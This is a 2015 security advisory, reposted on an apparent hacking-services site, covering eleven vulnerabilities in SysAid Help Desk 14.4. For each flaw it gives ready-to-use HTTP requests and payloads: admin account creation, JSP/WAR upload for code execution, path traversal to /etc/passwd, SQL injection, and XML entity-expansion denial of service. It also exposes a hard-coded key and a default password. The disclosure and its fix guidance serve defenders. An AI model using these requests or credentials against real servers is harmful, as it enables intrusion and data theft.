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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
>> Multiple vulnerabilities in SysAid Help Desk 14.4
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 03/06/2015 / Last updated: 10/06/2015

>> Background on the affected product:
"SysAid is an ITSM solution that offers all the essentials, with everything you need for easy and efficient IT support and effective help desk operations. Its rich set of features includes a powerful service desk, asset management and discovery, self-service, and easy-to-use tools for understanding and optimizing IT performance."

Metasploit modules that exploit #1, #2, #3, #4, #5 and #6 have been released and should be integrated in the Metasploit framework soon.
All vulnerabilities affect both the Windows and Linux versions unless otherwise noted.


>> Technical details:
1)
Vulnerability: Administrator account creation
CVE-2015-2993 (same CVE as #10)
Constraints: none; no authentication or any other information needed
Affected versions: unknown, at least 14.4

GET /sysaid/createnewaccount?accountID=1337&organizationName=sysaid&userName=mr_lit&password=secret&masterPassword=master123

This creates an account with the following credentials: mr_lit:secret
Note that this vulnerability only seems to be exploitable ONCE! Subsequent attempts to exploit it will fail even if the tomcat server is restarted.


2)
Vulnerability: File upload via directory traversal (authenticated; leading to remote code execution)
CVE-2015-2994
Constraints: valid administrator account needed (see #1 to create a valid admin account)
Affected versions: unknown, at least 14.4


POST /sysaid/ChangePhoto.jsp?isUpload=true HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------81351919525780

-----------------------------81351919525780
Content-Disposition: form-data; name="activation"; filename="whatevs.jsp"
Content-Type: application/octet-stream

<html><body><%out.println(System.getProperty("os.name"));%></body><html>
-----------------------------81351919525780--


The response returns a page which contains the following:
        var imageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp?1422276751501";
        var thumbUrl = "icons/user_photo/14222767515000.1049804910604456_temp_thumb.jsp?1422276751501";
        if(imageUrl != null && $.trim(imageUrl).length > 0)
        {
            document.getElementById("cropbox").src = imageUrl;
            document.getElementById("preview").src = thumbUrl;
            parent.glSelectedImageUrl = "icons/user_photo/14222767515000.1049804910604456_temp.jsp";
            
Go to http://<server>/sysaid/icons/user_photo/14222767515000.1049804910604456_temp.jsp to execute the JSP.


3)
Vulnerability: File upload via directory traversal (unauthenticated; leading to remote code execution)
CVE-2015-2995
Constraints: no authentication or any other information needed. The server has to be running Java 7u25 or lower. This is because Java 7u40 (FINALLY!) rejects NULL bytes in file paths. See http://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846 for more details.
Affected versions: unknown, at least 14.3 and 14.4

POST /sysaid/rdslogs?rdsName=../../../../sample.war%00
<... WAR payload here ...>


4)
Vulnerability: Arbitrary file download
CVE-2015-2996 (same CVE as #8)
Constraints: none; no authentication or any other information needed (see #5 to obtain the traversal path)
Affected versions: unknown, at least 14.4

GET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd


5)
Vulnerability: Path disclosure
CVE-2015-2997
Constraints: none; no authentication or any other information needed
Affected versions: unknown, at least 14.4; only works on the Linux version

POST /sysaid/getAgentLogFile?accountId=<traversal>&computerId=<junk characters>

Metasploit PoC:

    large_traversal = '../' * rand(15...30)
    servlet_path = 'getAgentLogFile'
    
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
      'method' => 'POST',
      'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
      'ctype' => 'application/octet-stream',
      'vars_get' => {
        'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
        'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
      }
    })
    
The response (res.body.to_s) will be similar to:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>Error</TITLE></HEAD>
<BODY>
<H1>Internal Error No#14</H1>
<H2>/var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../bla.war/111.war/1421678611732.zip (Permission denied)</H2>
</BODY></HTML>

The tomcat path is revealed between the H2 tags.


6)
Vulnerability: Use of hard-coded cryptographic key
CVE-2015-2998
Constraints: N/A
Affected versions: unknown, at least 14.4

SysAid Help Desk uses a hard-coded encryption key and encryption parameters. If this is combined with an arbitrary file download vulnerability (such as #4), a malicious user can then decrypt the database password by downloading the WEB-INF/conf/serverConf.xml file.
Algorithm: DES password based encryption with MD5 hash
Key: "inigomontoya"
Salt: [-87, -101, -56, 50, 86, 53, -29, 3]
Iterations: 19


7)
Vulnerability: SQL injection in genericreport, HelpDesk.jsp and RFCGantt.jsp
CVE-2015-2999
Constraints: valid administrator account needed
Affected versions: unknown, at least 14.4

a)
POST /sysaid/genericreport HTTP/1.1
action=execute&reportName=AssetDetails&scheduleReportParm=null&reportTitle=Asset+Details&company=0&filter=group&groupFilter='&assetID=&assetName=Click+Browse+to+choose&expressionCaption=&customExpression=&customSQL=&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+06%3A27&reRunEvery=2&user1=admin

action=execute&reportName=TopAdministratorsByAverageTimer&scheduleReportParm=null&reportTitle=Administrators+with+the+longest+SRs+time+%28average%29&sr_types=1&company=0&timer=1&expressionCaption=&customExpression=&customSQL=select+*+from+bla&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&NumRecords=5&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A03&reRunEvery=2&user1=admin&groupingSelection=Administrator&groupingSelectionName=Administrators&subGroupingSelection=AverageTimer&Activity=no

action=execute&reportName=ActiveRequests&scheduleReportParm=null&assetID=&reportTitle=Active+Records&category=000ALL&subcategory=000ALL&thirdLevelCategory=000ALL&sr_types=1&company=0&groupFilter=ALL&expressionCaption=&customExpression=&customSQL='&groupingSelection=Category&DatePeriod=1&fromDate=26-12-2014&toDate=27-01-2015&outFormat=PDF&userName1=admin&viewNow=checkbox&scheduleStart=26-01-2015+07%3A08&reRunEvery=2&user1=admin

Parameters:
groupFilter
customSQL

(3 sample payloads are shown - the reportName has to be valid and each reportName expects different parameters)


b)
POST /sysaid/HelpDesk.jsp?helpdeskfrm&fromId=List&ajaxStyleList=YE
resizeListViewDataArr=AccordionChange&fieldNameChangeState=&tabID=42&actionInfo=&builtFilter=&weightChangeNoAjax=&sort=r.id&dir=asc'&pageNo=1&showAll=0&toggleAll=0&isAccordion=0&calSearch=0&expandAll=0&action=&performAction=&${list.SrTypeFilter}hidden=&${list.category.caption}hidden=&${list.subCategory.caption}hidden=&${list.status.caption}hidden=&${list.requestUser.caption}hidden=&${list.assigned.to.caption}hidden=&${list.priority.caption}hidden=&selection=&selectionDisplay=&saveSelection=1&searchField=Search%20%20%20&dateType=&fromDate=&toDate=&ajaxShown=&multipleSelectionComboboxSet=SetMultipleSelectionCombobox&multipleSelectionComboboxStatus=&multipleSelectionComboboxPriority=&multipleSelectionComboboxAssignedTo=

Parameter:
dir


c)
POST /sysaid/RFCGantt.jsp HTTP/1.1
listName=Service+Requests+All&toInvalid=%27To+date%27+field+contains+an+invalid+value%21&fromInvalid=%27From+date%27+field+contains+an+invalid+value%21&listViewName=DEFAULT&ids=&flag=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&page=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&parentPageName=HelpDesk.jsp%3Fhelpdeskfrm%26fromId%3DList&computerID=null&ciId=null&returnToFunction=&srType=&ganttSQL=$select+*+from+ble;$SELECT+r.id,+r.sr_type,+r.account_id,+priority,+escalation,+status,+r.request_user,r.due_date,r.title,r.problem_type,r.problem_sub_type,r.sr_type,r.sr_weight,r.responsibility,r.responsible_manager,r.assigned_group+,+r.id,+r.id,+r.sr_type,+r.problem_type,r.problem_sub_type,r.third_level_category,+r.problem_sub_type,+r.title,+r.status,+r.request_user,+r.responsibility,+r.priority,+r.insert_time+from+service_req+r+++WHERE+r.account_id+%3d+%3f&lookupListName=&scrollPopup=NO&iframeID=null&paneCancelFunc=&filter=+AND+%28archive+%3D+0%29+&fromDate=null&toDate=null&isWeight=true

Accepts injection between $$ in ganttSQL parameter.


8)
Vulnerability: Denial of service
CVE-2015-2996 (same CVE as #4)
Constraints: no authentication or any other information needed 
Affected versions: unknown, at least 14.4

GET /sysaid/calculateRdsFileChecksum?fileName=../../../../../../dev/zero

This request will cause the cpu to go to 100% and the memory to balloon for 30+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).


9)
Vulnerability: XML Entity Expansion (leading to denial of service)
CVE-2015-3000
Constraints: no authentication or any other information needed
Affected versions: unknown, at least 14.4

a)
POST /sysaid/agententry?deflate=0
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

b)
POST /sysaid/rdsmonitoringresponse
<lol bomb in POST data>

c)
POST /sysaid/androidactions
<lol bomb in POST data>

These requests will cause the cpu to go to 100% and the memory to baloon for 10+ seconds. Sending lots of requests causes the server to slow down to a crawl (although it doesn't seem to crash or hang forever).


10)
Vulnerability: Uncontrolled file overwrite
CVE-2015-2993 (same CVE as #1)
Constraints: no authentication or any other information needed
Affected versions: unknown, at least 14.4

GET /sysaid/userentry?accountId=1337&rdsName=bla&fileName=../../../service.htm

This will overwrite the file with "SysAid". This string is fixed and cannot be controlled by the attacker.


11)
Vulnerability: Use of hard-coded password for the SQL Server Express administrator account
CVE-2015-3001
Constraints: N/A
Affected versions: unknown, at least 14.4

When installing SysAid on Windows with the built in SQL Server Express, the installer sets the sa user password to "Password1".


>> Fix: 
Upgrade to version 15.2 or higher.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>